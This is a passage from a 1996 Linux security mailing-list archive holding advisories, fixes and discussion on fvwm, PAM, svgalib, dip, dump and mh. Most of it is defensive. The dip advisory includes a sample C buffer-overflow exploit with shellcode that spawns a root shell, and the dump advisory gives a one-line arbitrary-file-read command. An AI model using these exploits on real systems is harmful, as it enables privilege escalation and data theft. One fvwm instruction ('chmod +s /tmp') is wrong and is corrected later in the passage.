probably agree...) that the discussion about shadow passwords should be moved there. To subscribe: send "subscribe" to [email protected] (*not* to the mailing list itself). The list address is [email protected]. It is unmoderated. Regards, Marek linux-security/linux-security.960112100664 1767 1767 31351 6075543270 16650 0ustar majdommajdomFrom [email protected] Fri Jan 12 13:21:32 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id NAA17294; Fri, 12 Jan 1996 13:21:32 -0500 Date: Fri, 12 Jan 1996 01:10:19 -0500 (EST) From: "Alexander O. Yuriev" To: Linux Security Mailing List , [email protected] cc: Linux Announce Submit Subject: CORRECTED(!) Linux Security FAQ Update#10: fvwm vulnerability Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- [ LINUX SECURITY FAQ UPDATES ADMIN INFORMARION ] 1. The Linux Security FAQ Update #10 released on Jan 11, 1996 is hereby REVOKED. Please disregard information in the Linux Security FAQ Update#10 released on Jan 11, 1996 2. The Linux Security FAQ Update #10 released on Jan 12, 1996 is hereby made an OFFICIAL Linux Security FAQ Update#10 regarding the fvwm vulnerability. This is corrected LSF Update#10. In the version of LSF Update#10 dated January 11, 1996, and signed with a key "1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key " an error was made in the "Other Distributions" section. Unfortunatly, no one noticed that error prior to the Update being released. -- Alexander O. Yuriev ([email protected]) - -----BEGIN PGP SIGNED MESSAGE----- Linux Security FAQ Update Vulnerability of FVWM January 12, 1996 00:46:37 EST Copyright (C) 1995-96 Alexander O. Yuriev ([email protected]) CIS Laboratories TEMPLE UNIVERSITY U.S.A. ============================================================================= This is an official update of the Linux security FAQ, and it is supposed to be signed by one of the following PGP keys: 1024/9ED505C5 1995/12/06 Jeffrey A. Uphoff Jeffrey A. Uphoff 1024/EFE347AD 1995/02/17 Olaf Kirch 1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key Unless you are able to verify at least one of signatures, please be very careful when following instructions. Linux Security WWW: http://bach.cis.temple.edu/linux/linux-security linux-security & linux-alert mailing list archives: ftp://linux.nrao.edu/pub/linux/security/list-archive ============================================================================= ABSTRACT A vulnerability exists in the FVWM version 1.24 and versions prior to that. This vulnerability allows intruders to execute programs as users other than themselves. Under certain circumstances if root uses fvwm, a compromise of a root account is possible. This Linux Security FAQ Update provides information about ways to fix this hole. RISK ASSESSMENT In certain situations local users can execute commands under different UID. Root compromise is possible only if root account is used to run fvwm, which is not advisable. SOLUTION TO THE PROBLEM The successful attack against fvwm exploits a race condition that occurs when fvwm performs certain operations. The following information should allow one to prevent the race condition from occurring. 1. /tmp directory should be owned by (root:root) with world-write, world-execute and world-read permissions. A sticky bit is *required* on this directory. Use the following set of commands to change your /tmp directory parameters to conform with the requirements: chown root.root /tmp (make ownership (root:root)) chmod 777 /tmp (make protection mode 777) chmod +s /tmp (place a sticky bit on) 2. Install appropriate distribution-specific fix Red Hat Commercial Linux 2.0 and 2.1 Marc Ewing ([email protected]) provided the following information about the official Red Hat RPM that fixes the hole. The RPM for Intel architecture can be obtained from one of the following URLs: ftp://ftp.redhat.com/pub/redhat-2.1/i386/updates/RPMS/fvwm-1.24r-5.i386.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat-2.1/fvwm-1.24r-5.i386.rpm Users of RedHat/AXP should install fvwm for AXP architecture. It is available from one of the following URLs: ftp://ftp.redhat.com/pub/redhat-2.1/axp-beta/updates/RPMS/fvwm-1.24r-5.axp.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat-2.1/fvwm-1.24r-5.axp.rpm Please verify the MD5 hash of the file prior to installing it. af4bb44d5f3a390f04c5b0467b00e2a6 fvwm-1.24r-5.i386.rpm 88ae8be7f633192ccbd2f0cb407b7ecc fvwm-1.24r-5.axp.rpm Caldera Network Desktop Preview II users should follow the instructions for Red Hat Commercial Linux 2.0 and 2.1 to install updated RPM Debian/GNU Linux Ian Murdock ([email protected]) provided the following information about the official fvwm replacement for the Debian/GNU Linux. The replacement can be obtained from one of the following URLs: ftp://ftp.debian.org/debian/debian-0.93/binary/x11/fvwm-1.24r-10.deb ftp://bach.cis.temple.edu/Linux/Security/DISTRIBUTION-FIXES/Debian/fvwm-1.24r-10.deb Please verify the MD5 hash of the file prior to installing it. 05958bb6eff51df2b933c268544c6541 fvwm-1.24r-10.deb Slackware All Slackware Linux distributions, including Slackware 3.0 use vulnerable fvwm. The maintainer of Slackware 3.0, Patrick J. Volkerding, did acknowledge the problem and but did not have Slackware specific patch on Jan 11, 1996. It is recommended that until the Slackware 3.0 package that fixes this fvwm hole becomes available, users of Slackware should follow instructions in the "Other Distributions" section. Yggdrasil All distributions of Yggdrasil Plus & Play Linux are believed to be vulnerable. Yggdrasil Inc, neither acknowledged the problem nor provided any information from which it could be concluded that their distributions are not vulnerable. It is recommended that even if Yggdrasil Inc, does not acknowledge the existence of this problem, users of Yggdrasil distributions should follow the instructions in the "Other Distributions" section. Other Distributions If there is no distribution specific package that fixes the fvwm security hole available at this time, it is recommended that either use of the fvwm should be discontinued, or a fixed version of fvwm used to create Debian/GNU Linux package should be installed. The source code of it is available from one of the following URLs: ftp://ftp.debian.org/debian/debian-0.93/source/x11/fvwm-1.24r-10.tar.gz ftp://bach.cis.temple.edu/pub/Linux/Security/fvwm-1.24r-10.tar.gz Please verify the MD5 hash of the file prior to using it. 4bf102e2451ab7ae4fbc42712b3b79c2 fvwm-1.24r-10.tar.gz CREDITS This LSF Update is based on the information provided by Winfried Truemper ([email protected]), Marc Ewing ([email protected]), Olaf Kirch ([email protected]), Ian Murdock ([email protected]), Austin Donnelly ([email protected]) and Patrick J. Volkerding ([email protected]) - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMPX2PoxFUz2t8+6VAQHAvAQAh8OD8BRdwEB+44JxGhYvM95rPXLXfPMr je0AnkIuW/pHC/k0nZ80vI8/ZvYMfSBbElrijDyM0tL63G2Jkhl3UbQA0fuzmiKc C3445l5Z82+FYYI7ZdD9mw/aSs5QE82P0VT+XD83eN9laLoG2XwX39Yg1HrOrS7f RICO+g9Lwgk= =b41E - -----END PGP SIGNATURE----- -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMPX6Np0afeTWLUSJAQEMQwP/Rts1JcREak/OyQSwWCOit1tVNuwyeBIf gSjmEKoAoWAl0NmkfKHjhKV9Xn06HvjoA18P+P2o82hRbZMIVyQh8LmOtrMv3Aj2 eFCUz5W+fEbgwCjdSHV5St6G2itjZTgc1oQbAmE5vh6RoKjRw85HJDmv834PgMjO b8/VCDc4qbA= =sheq -----END PGP SIGNATURE----- ============================================================================ Alexander O. Yuriev Email: [email protected] CIS Labs, TEMPLE UNIVERSITY WWW: http://bach.cis.temple.edu/personal/alex Philadelphia, PA, USA KeyID: 1024/D62D4489 Key Fingerprint: AE84534377CCC4E2 37B13C4D8CD3D501 Unless otherwise stated, everything above is my personal opinion and not an opinion of any organisation affiliated with me. ============================================================================= From [email protected] Fri Jan 12 15:38:15 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id PAA17893; Fri, 12 Jan 1996 15:38:15 -0500 Date: Fri, 12 Jan 1996 00:13:39 -0500 From: "Theodore Ts'o" Message-Id: <[email protected]> To: [email protected], [email protected], [email protected] To: [email protected], [email protected] To: [email protected], [email protected], [email protected] Cc: [email protected], [email protected] Subject: PAM implementation effort.... Address: 1 Amherst St., Cambridge, MA 02139 Phone: (617) 253-8091 Sender: [email protected] Precedence: list OK, there definitely seems to be interest in implementing PAM for Linux. Great! Everyone on the To: field have either sent me mail directly saying that they were interested, or have sent enough mail on the various lists that they're obviously interested. Because I'm not on [email protected], and because PAM really is only somewhat tangentially related to the shadow package ---- and I've maintained enough mailing lists that I know that maintainers of lists often get upset of a small subset of the people on the list "hijack" a list for some different purpose, I've taken the liberty to start a new mailing list: [email protected] I've seeded the list with the people on the To: list above. Other people who are interested should send mail to me ([email protected]). This list will be active by tomorrow morning. I suggest that for the reasons I've listed above, we redirect discussion directly related to the PAM implementation effort to this list. Since I (foolishly?) volunteered to coordinate, and various other people have said that they would write code if I would provide design specs --- here goes. I propose the following task breakdown: 1) Administrivia: Ted Set up mailing list (done) Set up ftp space on tsx-11.mit.edu:/pub/linux/ALPHA/PAM (done) Coordinate tasks (see below; in progress) 2) PAM header file: Ted (I'll do this, so people have a common place to start from.) Also, there isn't enough public information currently to completely specify the PAM <-> PAM module interface. I'm going to try to pry the information out of Sun (which they'll need to give me, since they want me to write a PAM module for Kerberos). --- header for the application/PAM interface --- header for the PAM/PAM module interface 3) Write PAM library: (Need a volunteer) The PAM library is reponsible for parsing /etc/pam.conf, and then using dlopen() to dynamically call the various component libraries. It's responsible for calling the various libraries in the right order, as specified by the rules in /etc/pam.conf (i.e., control flags "required", "sufficient", "optional", etc.) 4) Write the PAM unix libraries: (Need volunteer(s)) pam_unix_auth.so ---- prompts for username/password and validates it against /etc/passwd pam_unix_account.so --- checks to see if user's user or account has expired. (Account management is also the place to add login time restrictions, if desired.) pam_unix_session.so --- empty for unix pam_unix_passwd.so --- password changing interface These can either be four separate libraries, or they can be one library: pam_unix.so. Eventually it probably makes sense to make it one library. However, for ease of divvying up the task, we can implemently separately first. 5) Write the PAM shadow libraries: (Need volunteer(s)) 6) Write the PAM S/Key interface: (Need volunteer(s)) 7) Write the PAM Kerberos interface: (Ted -- I told Sun I'd do this) 8) Modify applications to use the PAM application interface: (Need volunteer(s)) - login - ftpd - telnetd - rlogind - passwd If there are people who are interested in participating in this effort, please contact me and tell me what you're interested in doing. I'll coordinate to make sure we don't duplicate effort. Again, people should take a look at OSF RFC 86.0.txt. The URL is: http://www.pilgrim.umass.edu/pub/osf_dce/RFC/rfc86.0.txt This actually has a fairly complete of the PAM <-> application interface. - Ted linux-security/linux-security.960113100664 1767 1767 5625 6076037436 16641 0ustar majdommajdomFrom [email protected] Sat Jan 13 18:24:13 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id SAA23691; Sat, 13 Jan 1996 18:24:12 -0500 Date: Sat, 13 Jan 1996 17:25:05 -0500 (EST) From: "Alexander O. Yuriev" To: Linux Security Mailing List , [email protected] cc: Linux Announce Submit , [email protected] Subject: LSF Update#10: Another correction. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- [LINUX SECURITY FAQ UPDATES ADMIN NOTE] Another error was noticed in a Linux Security FAQ Update#10 regarding the vulnerability of fvwm 1.24. The LSF Update#10 reads: ***** BEGIN LSF UPDATE QUOTE ***** SOLUTION TO THE PROBLEM The successful attack against fvwm exploits a race condition that occurs when fvwm performs certain operations. The following information should allow one to prevent the race condition from occurring. 1. /tmp directory should be owned by (root:root) with world-write, world-execute and world-read permissions. A sticky bit is *required* on this directory. Use the following set of commands to change your /tmp directory parameters to conform with the requirements: chown root.root /tmp (make ownership (root:root)) chmod 777 /tmp (make protection mode 777) chmod +s /tmp (place a sticky bit on) ***** END LSF UPDATE QUOTE ****** The line "chmod +s /tmp (place a sticky bit on)" has to be read as "chmod +t /tmp (place a sticky bit on)". Please make the necessary changes in the protection mode of the /tmp directory --- Alexander O. Yuriev -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMPgsCYxFUz2t8+6VAQGBfQP+LAzTvTpuMcIa2TFdThFX+Z8zBFBtp2Bu zqrLAHvLDUe8McFP8V9gRDIpc/rgFoNBjyVwrZ31ruK0RuqJ3363lq8iHebaVmni 4jacgKj4BBWVdN40RRQaK3qJ52lH7tebZvjw0wLAF6sYoXt3DHIsB+GM+B5T+aQz n0W24Bmof4s= =rsNv -----END PGP SIGNATURE----- ============================================================================ Alexander O. Yuriev Email: [email protected] CIS Labs, TEMPLE UNIVERSITY WWW: http://bach.cis.temple.edu/personal/alex Philadelphia, PA, USA KeyID: 1024/D62D4489 Key Fingerprint: AE84534377CCC4E2 37B13C4D8CD3D501 Unless otherwise stated, everything above is my personal opinion and not an opinion of any organisation affiliated with me. ============================================================================= linux-security/linux-security.960114100664 1767 1767 33135 6076270316 16653 0ustar majdommajdomFrom [email protected] Sun Jan 14 16:08:28 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id QAA28166; Sun, 14 Jan 1996 16:08:28 -0500 From: Zoltan Hidvegi Message-Id: <[email protected]> Subject: fvwm fix To: [email protected], [email protected] Date: Sun, 14 Jan 1996 01:49:45 +0100 (MET) Organization: Dept. of Comp. Sci., Eotvos University, Budapest, Hungary Phone: (36 1)2669833 ext: 2667, home phone: (36 1) 2752368 X-Mailer: ELM [version 2.4 PL24 PGP3 *ALPHA*] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list [Mod: Forwarded without comment or inspection of the code by me. Please direct all replies, comments, critiques, fixes, etc., to the author of the post and not to the list. Thanks. --Jeff.] Here is a patch to base fvwm-1.24r which hopefully fixes the security problem discussed in the linux-security mailing list. I am aware of the existing debian fix but I do not like it. This patch improves fvwm a little bit since it avoids the popen call. It uses pipe/fork/dup/exec. This makes it easier to pass options with spaces or shell special characters to m4. As far as I know the O_CREAT | O_EXCL flags to open are enough to prevent the attacks described earlier. Please tell me if I'm wrong. Send a Cc if you reply to the list since I only read the digests. Cheers, Zoltan *** configure.h 1996/01/13 11:48:44 1.1 --- configure.h 1995/12/31 02:21:26 *************** *** 1,7 **** #define FVWMDIR "/usr/lib/X11/fvwm" /* #define FVWMDIR "/local/homes/dsp/nation/modules"*/ #define FVWM_ICONDIR "/usr/include/X11/bitmaps:/usr/include/X11/pixmaps" ! #define FVWMRC "/usr/lib/X11/fvwm/system.fvwmrc" /* Imake command needed to put modules in desired target location */ /* Use the second version if it causes grief */ --- 1,7 ---- #define FVWMDIR "/usr/lib/X11/fvwm" /* #define FVWMDIR "/local/homes/dsp/nation/modules"*/ #define FVWM_ICONDIR "/usr/include/X11/bitmaps:/usr/include/X11/pixmaps" ! #define FVWMRC FVWMDIR "/system.fvwmrc" /* Imake command needed to put modules in desired target location */ /* Use the second version if it causes grief */ *************** *** 69,75 **** * undefine(`include') to fix that one. Some version of m4 * seem to give good error messages, others don't? ***************************************************************************/ ! /* #define M4 */ /*************************************************************************** *#define NO_PAGER --- 69,75 ---- * undefine(`include') to fix that one. Some version of m4 * seem to give good error messages, others don't? ***************************************************************************/ ! #define M4 /*************************************************************************** *#define NO_PAGER *************** *** 113,119 **** * * ***************************************************************************/ ! /* #define PRUNE */ /************************************************************************* * --- 113,119 ---- * * ***************************************************************************/ ! #define PRUNE /************************************************************************* * *** fvwm/configure.c 1996/01/13 11:48:59 1.1 --- fvwm/configure.c 1996/01/13 14:06:02 *************** *** 300,306 **** char *fvwm_file; #ifdef M4 ! static char *m4_defs(Display*, const char*, char*, char*); #endif /***************************************************************************** --- 300,306 ---- char *fvwm_file; #ifdef M4 ! static char *m4_defs(Display*, const char*, char**, char*); #endif /***************************************************************************** *************** *** 308,314 **** * This routine is responsible for reading and parsing the config file * ****************************************************************************/ ! void MakeMenus(const char *display_name, char *m4_options) { char *system_file = FVWMRC; char *home_file; --- 308,314 ---- * This routine is responsible for reading and parsing the config file * ****************************************************************************/ ! void MakeMenus(const char *display_name, char **m4_args) { char *system_file = FVWMRC; char *home_file; *************** *** 390,396 **** * results in a temp file. */ ! fvwm_file = m4_defs(dpy, display_name, m4_options, fvwm_file); fclose(config_fd); config_fd = fopen(fvwm_file, "r"); --- 390,396 ---- * results in a temp file. */ ! fvwm_file = m4_defs(dpy, display_name, m4_args, fvwm_file); fclose(config_fd); config_fd = fopen(fvwm_file, "r"); *************** *** 1891,1897 **** #define EXTRA 50 extern int m4_prefix; - extern char m4_prog[]; extern int m4_default_quotes; extern char m4_startquote[]; extern char m4_endquote[]; --- 1891,1896 ---- *************** *** 1964,1970 **** return(MkDef(name, num)); } ! static char *m4_defs(Display *display, const char *host, char *m4_options, char *config_file) { Screen *screen; Visual *visual; --- 1963,1969 ---- return(MkDef(name, num)); } ! static char *m4_defs(Display *display, const char *host, char **m4_args, char *config_file) { Screen *screen; Visual *visual; *************** *** 1976,1981 **** --- 1975,1983 ---- char *vc; /* Visual Class */ FILE *tmpf; struct passwd *pwent; + int fd, pipefds[2], status; + pid_t child; + /* Generate a temporary filename. Honor the TMPDIR environment variable, if set. Hope nobody deletes this file! */ *************** *** 1984,2011 **** } else { strcpy(tmp_name, "/tmp"); } ! strcat(tmp_name, "/fvwmrcXXXXX"); ! mktemp(tmp_name); ! ! if (*tmp_name == '\0') { perror("mktemp failed in m4_defs"); exit(0377); } ! /* ! * Create the appropriate command line to run m4, and ! * open a pipe to the command. ! */ ! sprintf(options, "%s %s %s > %s\n", ! m4_prog, ! ((m4_prefix == 0) ? "" : "--prefix-builtins"), ! m4_options, tmp_name); ! tmpf = popen(options, "w"); if (tmpf == NULL) { perror("Cannot open pipe to m4"); exit(0377); } --- 1986,2032 ---- } else { strcpy(tmp_name, "/tmp"); } ! strcat(tmp_name, "/fvwmrcXXXXXX"); ! ! if (! mktemp(tmp_name) || ! (fd = open(tmp_name, O_WRONLY | O_CREAT | O_EXCL, 0600)) == -1) { perror("mktemp failed in m4_defs"); exit(0377); } ! if (pipe(pipefds)) { ! perror("Cannot open pipe to m4"); ! close(fd); ! unlink(tmp_name); ! exit(0377); ! } ! switch (child = fork()) { ! case -1: ! close(fd); ! unlink(tmp_name); ! perror("fork failed in m4_defs"); ! exit(0377); ! case 0: ! close(STDIN_FILENO); ! dup(pipefds[0]); ! close(STDOUT_FILENO); ! dup(fd); ! close(pipefds[0]); ! close(pipefds[1]); ! close(fd); ! execvp(m4_args[0], m4_args); ! perror("failed to exec m4"); ! exit(0377); ! } ! close(fd); ! close(pipefds[0]); ! tmpf = fdopen(pipefds[1], "w"); if (tmpf == NULL) { perror("Cannot open pipe to m4"); + unlink(tmp_name); exit(0377); } *************** *** 2134,2140 **** config_file, m4_endquote); ! pclose(tmpf); return(tmp_name); } #endif /* M4 */ --- 2155,2172 ---- config_file, m4_endquote); ! fclose(tmpf); ! if (waitpid(child, &status, 0) != child) { ! perror("error while waiting for child"); ! unlink(tmp_name); ! exit(0377); ! } ! if (! WIFEXITED(status) || WEXITSTATUS(status)) { ! fprintf(stderr, "%s exited in an unexpected way. status = %d\n", ! m4_args[0], status); ! unlink(tmp_name); ! exit(0377); ! } return(tmp_name); } #endif /* M4 */ *** fvwm/functions.c 1996/01/13 12:14:39 1.1 --- fvwm/functions.c 1996/01/13 13:25:32 *************** *** 1643,1649 **** void QuickRestart(void) { ! extern char *m4_options; extern char *display_name; int i; FvwmWindow *tmp,*next; --- 1643,1649 ---- void QuickRestart(void) { ! extern char **m4_args; extern char *display_name; int i; FvwmWindow *tmp,*next; *************** *** 1684,1690 **** InitVariables(); #ifdef M4 ! MakeMenus(display_name, m4_options); #else MakeMenus(display_name, NULL); #endif --- 1684,1690 ---- InitVariables(); #ifdef M4 ! MakeMenus(display_name, m4_args); #else MakeMenus(display_name, NULL); #endif *** fvwm/fvwm.c 1996/01/13 12:14:39 1.1 --- fvwm/fvwm.c 1996/01/13 13:46:18 *************** *** 102,111 **** char **g_argv; #ifdef M4 int m4_enable; /* use m4? */ int m4_prefix; /* Do GNU m4 prefixing (-P) */ ! char m4_options[BUFSIZ]; /* Command line options to m4 */ ! char m4_prog[BUFSIZ]; /* Name of the m4 program */ int m4_default_quotes; /* Use default m4 quotes */ char m4_startquote[16]; /* Left quote characters for m4 */ char m4_endquote[16]; /* Right quote characters for m4 */ --- 102,112 ---- char **g_argv; #ifdef M4 + #define MAX_ARGS (BUFSIZ / sizeof(char *)) int m4_enable; /* use m4? */ int m4_prefix; /* Do GNU m4 prefixing (-P) */ ! char *m4_args[MAX_ARGS] = { "m4", NULL }; /* Command line options to m4 */ ! int m4_argcount = 1; /* Current number of args in m4_args */ int m4_default_quotes; /* Use default m4 quotes */ char m4_startquote[16]; /* Left quote characters for m4 */ char m4_endquote[16]; /* Right quote characters for m4 */ *************** *** 154,161 **** m4_enable = TRUE; m4_prefix = FALSE; - strcpy(m4_prog, "m4"); - *m4_options = '\0'; m4_default_quotes = 1; strcpy(m4_startquote, "`"); strcpy(m4_endquote, "'"); --- 155,160 ---- *************** *** 187,201 **** m4_enable = FALSE; } else if (mystrncasecmp(argv[i], "-m4-prefix", 10) == 0) ! { m4_prefix = TRUE; } else if (mystrncasecmp(argv[i],"-m4opt", 6) == 0) { ! if (++i < argc) { ! strcat(m4_options, argv[i]); ! strcat(m4_options, " "); } } else if (mystrncasecmp(argv[i], "-m4-squote", 6) == 0) --- 186,205 ---- m4_enable = FALSE; } else if (mystrncasecmp(argv[i], "-m4-prefix", 10) == 0) ! { ! if (! m4_prefix && m4_argcount < MAX_ARGS - 1) ! { ! m4_args[m4_argcount++] = "--prefix-builtins"; ! m4_args[m4_argcount] = NULL; ! } m4_prefix = TRUE; } else if (mystrncasecmp(argv[i],"-m4opt", 6) == 0) { ! if (++i < argc && m4_argcount < MAX_ARGS - 1) { ! m4_args[m4_argcount++] = argv[i]; ! m4_args[m4_argcount] = NULL; } } else if (mystrncasecmp(argv[i], "-m4-squote", 6) == 0) *************** *** 218,224 **** { if (++i < argc) { ! strcpy(m4_prog, argv[i]); } } #endif --- 222,228 ---- { if (++i < argc) { ! m4_args[0] = argv[i]; } } #endif *************** *** 362,368 **** /* read config file, set up menus, colors, fonts */ #ifdef M4 ! MakeMenus(display_name, m4_options); #else MakeMenus(display_name, NULL); #endif --- 366,372 ---- /* read config file, set up menus, colors, fonts */ #ifdef M4 ! MakeMenus(display_name, m4_args); #else MakeMenus(display_name, NULL); #endif *** fvwm/fvwm.man 1996/01/13 14:49:13 1.1 --- fvwm/fvwm.man 1996/01/13 14:51:05 *************** *** 410,419 **** If GNU \fIm4\fP is available, cause \fIm4\fP to prefix all builtin commands with \fIm4_\fP. .IP "\fB-m4opt\fP \fIoption\fP" ! Pass this option to \fIm4\fP. The \fIoption\fP can be any string of ! characters without spaces. This option can occur multiple times. If ! GNU \fIm4\fP is available, \fBDO NOT\fP pass the \fI-P\fP option here. ! Use \fB-m4-prefix\fP instead. .IP "\fB-m4-squote\fP \fIstring\fP" Use this given \fBstring\fP as the starting quote characters. You must also specify \fB-m4-equote\fI. --- 410,418 ---- If GNU \fIm4\fP is available, cause \fIm4\fP to prefix all builtin commands with \fIm4_\fP. .IP "\fB-m4opt\fP \fIoption\fP" ! Pass this option to \fIm4\fP. This option can occur multiple times. ! If GNU \fIm4\fP is available, \fBDO NOT\fP pass the \fI-P\fP option ! here. Use \fB-m4-prefix\fP instead. .IP "\fB-m4-squote\fP \fIstring\fP" Use this given \fBstring\fP as the starting quote characters. You must also specify \fB-m4-equote\fI. *** fvwm/misc.h 1996/01/13 13:24:31 1.1 --- fvwm/misc.h 1996/01/13 13:25:22 *************** *** 130,136 **** extern void FetchWmColormapWindows (FvwmWindow *tmp); extern void PaintEntry(MenuRoot *, MenuItem *); extern void PaintMenu(MenuRoot *, XEvent *); ! extern void MakeMenus(const char*, char*); extern void InitEvents(void); extern void DispatchEvent(void); extern void HandleEvents(void); --- 130,136 ---- extern void FetchWmColormapWindows (FvwmWindow *tmp); extern void PaintEntry(MenuRoot *, MenuItem *); extern void PaintMenu(MenuRoot *, XEvent *); ! extern void MakeMenus(const char*, char**); extern void InitEvents(void); extern void DispatchEvent(void); extern void HandleEvents(void); linux-security/linux-security.960115100664 1767 1767 2223 6076540422 16624 0ustar majdommajdomFrom [email protected] Mon Jan 15 16:03:13 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id QAA02259; Mon, 15 Jan 1996 16:03:13 -0500 Date: Mon, 15 Jan 1996 21:57:10 +0100 From: Michael Weller Message-Id: <[email protected]> To: [email protected] Subject: Re: restorefont security hole Sender: [email protected] Precedence: list Thx for reporting that one, however, have a look at the Readme's of svgalib and see that Harm ([email protected]) is away from the net and I look after svgalib instead of him now. Consider the problem fixed for the next release of svgalib (will be 1.2.10). Let me add on as well, that svgalib is not really intended for security sensitive systems. Even if there are not that many security problems it can easily crash your system (and does for some bad behaved apps). Simply: If you have to run a rock-solid, stable, and sensitive system: Don't run svgalib on it. (at least not w/o double checking each program (including tools) you run on it for stability). Michael. linux-security/linux-security.960122100664 1767 1767 4722 6100744755 16633 0ustar majdommajdomFrom [email protected] Mon Jan 22 12:31:22 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id MAA01046; Mon, 22 Jan 1996 12:31:22 -0500 Date: Sun, 21 Jan 1996 14:34:22 -0600 (CST) From: Dan Walters X-Sender: [email protected] To: [email protected] cc: [email protected], [email protected] Subject: Linux: dip security hole Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list PROGRAM: dip 3.3.7n, and probably other variants AFFECTED SYSTEMS: Linux - Slackware 3.0 and RedHat 2.1 verified, others unknown. IMPACT: Local users can get superuser privleges. SYNOPSIS: Some Linux distributions come with dip setuid root by default. There are multiple points in dip where an unbounded buffer is used with user supplied data making possible a stack overflow. Functions in which this appears to be possible include do_chatkey() and mdm_dial(). WORKAROUND: It is suggested that at least until the source has been further scrutinized that dip not be setuid unless necessary. chmod 0755 dip If you must have dip setuid, place it in a group where it can only be executed by trusted users. SAMPLE EXPLOIT: /* dip-exploit.c - overruns the buffer in do_chatkey() to give a shell */ #include #include #include #include #include #define PATH_DIP "/usr/sbin/dip" u_char shell[] = /* courtesy of avalon ;) */ "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; u_long esp() { __asm__("movl %esp, %eax"); } main() { u_char buf[1024]; u_long addr; int i, f; strcpy(buf, "chatkey "); addr = esp() - 192; for (i=8; i<128+16; i+=4) *((u_long *) (buf+i)) = addr; for (i=128+16; i<512; i++) buf[i] = 0x90; for (i=0; i Date: Mon, 22 Jan 1996 20:45:37 -0500 (EST) >From: David J Meltzer To: [email protected], [email protected], [email protected] Subject: dump RedHat security hole Sender: [email protected] Precedence: list [mod: Marc Ewing has already made available an RPM for this; the URL is ftp://ftp.redhat.com/pub/redhat-2.1/i386/updates/RPMS/dump-0.2e-4.i386.rpm --okir] There is a security hole in RedHat 2.1, which installs /sbin/dump suid root. The dump program makes no provisions for checking file permissions, allowing any user on the system to read arbitrary files on the system. Dump checks permissions only on the directory you specify to backup, and not on files or subdirectories. The process to exploit this is to backup the files via dump as if it was a normal backup to a temporary file, and then restore the temporary file with /sbin/restore to your own directory. The solution is simple, don't run dump suid root on your system. Program: /sbin/dump incorrectly installed Affected Operating Systems: RedHat 2.1 linux distribution Requirements: account on system Patch: chmod -s /sbin/dump Security Compromise: read arbitrary files on system Author: Dave M. ([email protected]) Synopsis: dump fails to check file permissions against user running dump, or to give up suid when backing up a filesystem. Exploit: $ /sbin/dump 0uf woot.dump DIRECTORY_FILE_TO_READ_IS_IN /-------------\ |David Meltzer| |[email protected]| /--------------------------\ |School of Computer Science| |Carnegie Mellon University| \--------------------------/ From [email protected] Tue Jan 23 14:48:12 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id OAA05009; Tue, 23 Jan 1996 14:48:11 -0500 Message-Id: <[email protected]> X-Mailer: exmh version 1.6.4 10/10/95 To: [email protected] Cc: Dan Walters , Bugtraq List , [email protected] Subject: Re: Linux: dip security hole In-reply-to: from Dan Walters on Sun, 21 Jan 1996 14:34:22 CST. Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 23 Jan 1996 11:01:03 -0500 From: Marc Ewing Sender: [email protected] Precedence: list A security hole exists in all shipped releases of the "dip" package for Red Hat Linux (for Intel architectures -- there is no dip for Red Hat/AXP yet). Users should immediately upgrade: rpm -Uvh ftp://ftp.redhat.com/pub/redhat-2.1/updates/RPMS/dip-3.3.7n-3.i386.rpm MD5 sum: 3c94852a8fb636aa9b5407cae155e2ae dip-3.3.7n-3.i386.rpm -Marc linux-security/linux-security.960126100664 1767 1767 11336 6102177503 16647 0ustar majdommajdomFrom [email protected] Fri Jan 26 11:10:39 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id LAA21373; Fri, 26 Jan 1996 11:10:39 -0500 Message-ID: Date: Wed, 24 Jan 1996 22:12:07 -0500 (EST) From: David J Meltzer To: [email protected], [email protected] Subject: Red Hat mh inc/msgchk security hole Sender: [email protected] Precedence: list [mod: This is not a terribly dangerous hole, but I'm approving this to linux-alert nevertheless. Making tools such as mail readers setuid root is a bad idea, anyway (IMHO). Marc Ewing has made an updated RPM available at ftp.redhat.com as /pub/redhat-2.1/i386/updates/RPMS/mh-6.8.3-4.i386.rpm Its MD5 sum is 32d61477bc9facfbad7315598d5dee91. --okir] There is a security hole in Red Hat 2.1, which installs /usr/bin/mh/inc and /usr/bin/mh/msgchk suid root. These programs are configured suid root in order to bind to a privileged port for rpop authentication. However, there is a non-security conflict between mh and the default Red Hat 2.1 configuration in that the /etc/services lists pop-2 and pop-3 services, but the mh utilities do lookups for a pop service, which doesn't exist, resulting in an inability to use any of the pop 